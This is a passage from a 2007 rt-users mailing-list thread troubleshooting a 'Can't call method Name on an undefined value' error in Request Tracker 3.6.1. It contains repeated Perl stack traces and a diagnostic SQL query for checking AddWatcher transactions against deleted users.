> >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> >>
> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> -e line 0
> >> eval {...} at -e line 0
> >>
> >> If we don't protect the freedom of speech, how will we know who the
> >> assholes are?
> >> http://theillien.blogspot.com
> >>
> >>
> >> Mathew Snyder wrote:
> >> > I think I've asked about this before and I'm fairly certain I
> >> already know the
> >> > answer.  However, I'm not certain it should be happening.
> >> >
> >> > We keep getting the error "Can't call method "Name" on an undefined
> >> value..."
> >> > If I recall correctly this is a result of eliminating via Shredder a
> >> user which
> >> > was at one point attatched to a ticket.  The only problem with this
> >> is that the
> >> > only users I remove are those that are created when we receive spam.
> >> >
> >> > So is this the only explanation?  More and more of these tickets
> >> keep appearing
> >> > but I can't figure out how all of these users are disappearing.
> >> >
> >> > Thanks
> >> > Mathew
> >> > _______________________________________________
> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> >
> >> > Community help: http://wiki.bestpractical.com
> >> > Commercial support: sales at bestpractical.com
> >> >
> >> >
> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> > Buy a copy at http://rtbook.bestpractical.com
> >> >
> >> _______________________________________________
> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >>
> >> Community help: http://wiki.bestpractical.com
> >> Commercial support: sales at bestpractical.com
> >>
> >>
> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> Buy a copy at http://rtbook.bestpractical.com
> >>
> >
> >
>


-- 
Best regards, Ruslan.


From theillien at yahoo.com  Thu Feb  8 22:43:57 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 22:43:57 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>	
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>	
	<45CBE39D.2090101@yahoo.com>
	<589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>
Message-ID: <45CBEDFD.5040308@yahoo.com>

I know.  I just didn't understand the SQL syntax.

Mathew

Ruslan Zakirov wrote:
> I'm just trying to help you figure out what had happened with your
> tickets and as well gather debug info to  fix shredder.
> 
> To get debug infon you have to run the following query from mysql or
> Pg shell, but first of all you should find a ticket that generate that
> error you posted and replace XXXXX with the ticket's ID.
> 
> SELECT u.Name, txn.Field, txn.NewValue, txn.ReferenceType,
> txn.NewReference, t.id
> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> 
> This query selects all AddWatcher transactions from the ticket and
> shows if user that's been added as watcher still exist in the DB.
> 
> 
> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> This query has me confused.  There are lowercase letters placed by
>> themselves in
>> locations I'm not used to seeing criteria placed.  Can someone please
>> clarify
>> what I'm supposed to enter?
>>
>> Mathew
>>
>>
>> Ruslan Zakirov wrote:
>> > Please, run the following SQL query:
>> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
>> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> >
>> > Where XXXX id of the ticket. Then send me results.
>> >
>> >
>> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> I'd like to add to this.  I've looked at the database and found that
>> >> there are
>> >> 63 transactions attached to this ticket.  There are also no
>> >> transactions for
>> >> which there isn't a user.  I've looked up the names on each user id in
>> >> the
>> >> transactions table and found that they correspond to someone that
>> >> would likely
>> >> have had a part in the ticket.
>> >>
>> >> There are as many user id entries as there are transactions.  What I
>> >> mean is,
>> >> there are multiple entries for some ids but all transactions have a
>> >> user id
>> >> attached to it.  This tells me that the transactions aren't corrupted
>> >> by a
>> >> missing user that possibly got Shredded out of the database.
>> >>
>> >> As I've said before, this isn't the first time we've seen this so I'm
>> >> beginning
>> >> to think this is a bug of some sort.
>> >>
>> >> The full error follows.
>> >>
>> >> error:          Can't call method "Name" on an undefined value at
>> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> context:
>> >> ...
>> >> 686:    AddWatcher => sub {
>> >> 687:    my $self = shift;
>> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> 689:    $principal->Load($self->NewValue);
>> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> >> $principal->Object->Name);
>> >> 691:    },
>> >> 692:    DelWatcher => sub {
>> >> 693:    my $self = shift;
>> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> ...
>> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> >> /usr/local/rt-3.6.1/share/html/autohandler:279
>> >>
>> >>
>> >>
>> >> raw error
>> >> Can't call method "Name" on an undefined value at
>> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >>
>> >>
>> >> Trace begun at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> >> on an
>> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> >> line
>> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> >> line 690
>> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> >> called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> >> HTML::Mason::Commands::__ANON__('Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> >> undef,
>> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> 'Attachments',
>> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> 'LastTransaction',
>> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> >> line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> >>
>> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> >> undef,
>> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction',
>> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> >> undef,
>> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> >> 'ARRAY(0xc59f11c)',
>> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
>> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> >> undef,
>> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> 'Attachments',
>> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> 'LastTransaction',
>> >> 0) called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> >> HTML::Mason::Commands::__ANON__('Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> >>
>> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> >> undef,
>> >> 'ShowHeaders', undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> >>
>> >> 'id', 55767, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> >> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> >>
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> >>
>> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> >> 279
>> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> >>
>> >> 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1246
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 459
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 411
>> >>
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> line 168
>> >>
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> line 826
>> >>
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> >>
>> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> -e line 0
>> >> eval {...} at -e line 0
>> >>
>> >> If we don't protect the freedom of speech, how will we know who the
>> >> assholes are?
>> >> http://theillien.blogspot.com
>> >>
>> >>
>> >> Mathew Snyder wrote:
>> >> > I think I've asked about this before and I'm fairly certain I
>> >> already know the
>> >> > answer.  However, I'm not certain it should be happening.
>> >> >
>> >> > We keep getting the error "Can't call method "Name" on an undefined
>> >> value..."
>> >> > If I recall correctly this is a result of eliminating via Shredder a
>> >> user which
>> >> > was at one point attatched to a ticket.  The only problem with this
>> >> is that the
>> >> > only users I remove are those that are created when we receive spam.
>> >> >
>> >> > So is this the only explanation?  More and more of these tickets
>> >> keep appearing
>> >> > but I can't figure out how all of these users are disappearing.
>> >> >
>> >> > Thanks
>> >> > Mathew
>> >> > _______________________________________________
>> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> >
>> >> > Community help: http://wiki.bestpractical.com
>> >> > Commercial support: sales at bestpractical.com
>> >> >
>> >> >
>> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> >> > Buy a copy at http://rtbook.bestpractical.com
>> >> >
>> >> _______________________________________________
>> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >>
>> >> Community help: http://wiki.bestpractical.com
>> >> Commercial support: sales at bestpractical.com
>> >>
>> >>
>> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> >> Buy a copy at http://rtbook.bestpractical.com
>> >>
>> >
>> >
>>
> 
> 


From ruslan.zakirov at gmail.com  Thu Feb  8 23:02:00 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 07:02:00 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45CBEDFD.5040308@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBE39D.2090101@yahoo.com>
	<589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>
	<45CBEDFD.5040308@yahoo.com>
Message-ID: <589c94400702082002o43dc1413vee74d229c62112d8@mail.gmail.com>

On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> I know.  I just didn't understand the SQL syntax.
And? Should I describe it? I don't think so. Google for 'Learning SQL'.

>
> Mathew
>
> Ruslan Zakirov wrote:
> > I'm just trying to help you figure out what had happened with your
> > tickets and as well gather debug info to  fix shredder.
> >
> > To get debug infon you have to run the following query from mysql or
> > Pg shell, but first of all you should find a ticket that generate that
> > error you posted and replace XXXXX with the ticket's ID.
> >
> > SELECT u.Name, txn.Field, txn.NewValue, txn.ReferenceType,
> > txn.NewReference, t.id
> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >
> > This query selects all AddWatcher transactions from the ticket and
> > shows if user that's been added as watcher still exist in the DB.
> >
> >
> > On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> This query has me confused.  There are lowercase letters placed by
> >> themselves in
> >> locations I'm not used to seeing criteria placed.  Can someone please
> >> clarify
> >> what I'm supposed to enter?
> >>
> >> Mathew
> >>
> >>
> >> Ruslan Zakirov wrote:
> >> > Please, run the following SQL query:
> >> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> >> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> >> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> >> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >> >
> >> > Where XXXX id of the ticket. Then send me results.
> >> >
> >> >
> >> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> >> I'd like to add to this.  I've looked at the database and found that
> >> >> there are
> >> >> 63 transactions attached to this ticket.  There are also no
> >> >> transactions for
> >> >> which there isn't a user.  I've looked up the names on each user id in
> >> >> the
> >> >> transactions table and found that they correspond to someone that
> >> >> would likely
> >> >> have had a part in the ticket.
> >> >>
> >> >> There are as many user id entries as there are transactions.  What I
> >> >> mean is,
> >> >> there are multiple entries for some ids but all transactions have a
> >> >> user id
> >> >> attached to it.  This tells me that the transactions aren't corrupted
> >> >> by a
> >> >> missing user that possibly got Shredded out of the database.
> >> >>
> >> >> As I've said before, this isn't the first time we've seen this so I'm
> >> >> beginning
> >> >> to think this is a bug of some sort.
> >> >>
> >> >> The full error follows.
> >> >>
> >> >> error:          Can't call method "Name" on an undefined value at
> >> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> >> context:
> >> >> ...
> >> >> 686:    AddWatcher => sub {
> >> >> 687:    my $self = shift;
> >> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> >> >> 689:    $principal->Load($self->NewValue);
> >> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> >> >> $principal->Object->Name);
> >> >> 691:    },
> >> >> 692:    DelWatcher => sub {
> >> >> 693:    my $self = shift;
> >> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> >> >> ...
> >> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> >> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> >> >> /usr/local/rt-3.6.1/share/html/autohandler:279
> >> >>
> >> >>
> >> >>
> >> >> raw error
> >> >> Can't call method "Name" on an undefined value at
> >> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> >>
> >> >>
> >> >> Trace begun at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> >> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
> >> >> on an
> >> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> >> >> line
> >> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> >> >> line 690
> >> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> >> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> >> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> >> >> called at
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> >> >> HTML::Mason::Commands::__ANON__('Attachments',
> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> >> undef,
> >> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
> >> '/Ticket/Attachment',
> >> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
> >> undef,
> >> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> >> 'Attachments',
> >> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> >> 'LastTransaction',
> >> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> >> >> line 135
> >> >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> >>
> >> >>
> >> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> >> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
> >> >> undef,
> >> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> >> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'Transaction',
> >> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
> >> >> undef,
> >> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> >> >> 'ARRAY(0xc59f11c)',
> >> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
> >> called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 1245
> >> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> >> undef,
> >> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
> >> '/Ticket/Attachment',
> >> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
> >> undef,
> >> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> >> 'Attachments',
> >> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> >> 'LastTransaction',
> >> >> 0) called at
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> >> >> HTML::Mason::Commands::__ANON__('Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> >> 'Attachments',
> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> >>
> >> >>
> >> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
> >> >> undef,
> >> >> 'ShowHeaders', undef, 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)',
> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 1245
> >> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> >> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> >> 'Attachments',
> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> >> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> >>
> >> >>
> >> >> 'id', 55767, 'id', 55767) called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 1245
> >> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> >> >> called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> >> >>
> >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> >>
> >> >>
> >> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
> >> >> 279
> >> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> >>
> >> >>
> >> >> 'id', 55767) called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 1246
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 1245
> >> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 459
> >> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> >> line 411
> >> >>
> >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> >>
> >> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> >> line 168
> >> >>
> >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> >>
> >> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> >> line 826
> >> >>
> >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> >>
> >> >>
> >> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> >> -e line 0
> >> >> eval {...} at -e line 0
> >> >>
> >> >> If we don't protect the freedom of speech, how will we know who the
> >> >> assholes are?
> >> >> http://theillien.blogspot.com
> >> >>
> >> >>
> >> >> Mathew Snyder wrote:
> >> >> > I think I've asked about this before and I'm fairly certain I
> >> >> already know the
> >> >> > answer.  However, I'm not certain it should be happening.
> >> >> >
> >> >> > We keep getting the error "Can't call method "Name" on an undefined
> >> >> value..."
> >> >> > If I recall correctly this is a result of eliminating via Shredder a
> >> >> user which
> >> >> > was at one point attatched to a ticket.  The only problem with this
> >> >> is that the
> >> >> > only users I remove are those that are created when we receive spam.
> >> >> >
> >> >> > So is this the only explanation?  More and more of these tickets
> >> >> keep appearing
> >> >> > but I can't figure out how all of these users are disappearing.
> >> >> >
> >> >> > Thanks
> >> >> > Mathew
> >> >> > _______________________________________________
> >> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> >> >
> >> >> > Community help: http://wiki.bestpractical.com
> >> >> > Commercial support: sales at bestpractical.com
> >> >> >
> >> >> >
> >> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> >> > Buy a copy at http://rtbook.bestpractical.com
> >> >> >
> >> >> _______________________________________________
> >> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> >>
> >> >> Community help: http://wiki.bestpractical.com
> >> >> Commercial support: sales at bestpractical.com
> >> >>
> >> >>
> >> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> >> Buy a copy at http://rtbook.bestpractical.com
> >> >>
> >> >
> >> >
> >>
> >
> >
>


-- 
Best regards, Ruslan.


